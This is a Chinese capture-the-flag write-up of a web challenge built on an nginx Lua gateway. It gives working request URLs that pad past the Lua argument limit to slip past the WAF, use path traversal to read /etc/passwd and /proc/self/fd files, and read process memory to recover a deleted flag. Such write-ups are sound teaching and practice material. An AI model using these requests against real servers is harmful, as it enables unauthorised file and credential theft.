20250713随缘刷题
gateway_advance
只有一个ngnix.conf
1 | worker_processes 1; |
比较重要的几个点
- /flag和/password都已经被删除
- /download?filename可以下载文件,但是filename内容有过滤,最后会把filename拼接到
http://127.0.0.1/static
后面,并且这里/static有别名/www/,明显可以目录穿越 - /download路由的输出中如果有特定字符会被替换为*
- 获取password后可以通过/read_anywhere路由读一些系统文件,并且可以用http_x_gateway_filename指定文件名,http_x_gateway_start和http_x_gateway_length指定开始位置和长度
第一个漏洞点位于如下代码中
1 | init_by_lua_block { |
这里对f句柄进行了close,但是没有对f2句柄进行close,因此即使/password被删除,还是可以在/proc/self/fd/?中读取到
因此下一步需要想办法读取/proc/self/fd/?,那么肯定是通过/download?filename=../proc/self/fd/?来读,但是/被过滤了。
第二个漏洞位于如下代码
1 | local args = ngx.req.get_uri_args() |
使用nginx_lua做waf很多代码都只是使用默认值,如
1 | local r_headers = ngx.req.get_headers() |
然后开始检测,是否包含危险请求,但是根据nginx_lua官方说明ngx.req.get_uri_args(),ngx.req.get_post_args(),ngx.req.get_headers()这三个api,有最大长度限制,默认是100个
因此,当请求参数超过取得最大值限制,其后的参数将不会被lua读取,进而不会进行规则检测,比如当检测规则为information_schema字符串,如下请求是没有办法检测到攻击的:
1 | /test.php?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a=%23information_schemas |
因此,本题中我们可以这样来读取系统文件
1 | /download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../etc/passwd |
当我们试图用这种方式去读取/proc/self/fd/?时,发现读取/proc/self/fd/6时有返回
1 | /download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../proc/self/fd/6 |
可以知道应该是返回值里有被检测到的字符串,因此把返回内容全部替换为*了
针对这个问题,我们可以使用Range请求头进行分组读取,例如
1 | GET /download?a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&filename=../proc/self/fd/6 HTTP/1.1 |
这样就只会返回前六个字符,以此类推,我们就可以完整的把password读出来
1 | passwordismemeispasswordsoneverwannagiveyouup |
现在拥有了password,也就代表我们可以任意读取系统文件,但是由于/flag已经被删除,没法直接读。这里可以参考CatCTF的一道web题catcat,这道题的一部分代码如下:
1 | if os.path.isfile("/flag"): # 导入flag文件并删除掉 |
可以看到这题也是把flag删掉了,最终是通过读取/proc/self/maps和/proc/self/mem来获得仍处于内存中的flag。那么本题也可以参考这个思路。
首先读取/proc/self/maps
1 | import requests |
从响应内容能看到有一个
1 | 7fceec1cd000-7fceec1ce000 rw-s 00000000 00:01 3361 /dev/zero (deleted) |
应该就是被删掉的flag
接下来把这个位置的mem内存读出来即可,注意这里的x-gateway-start应该填写7fceec1cd000转为十进制后的值,即140526701301760
1 | import requests |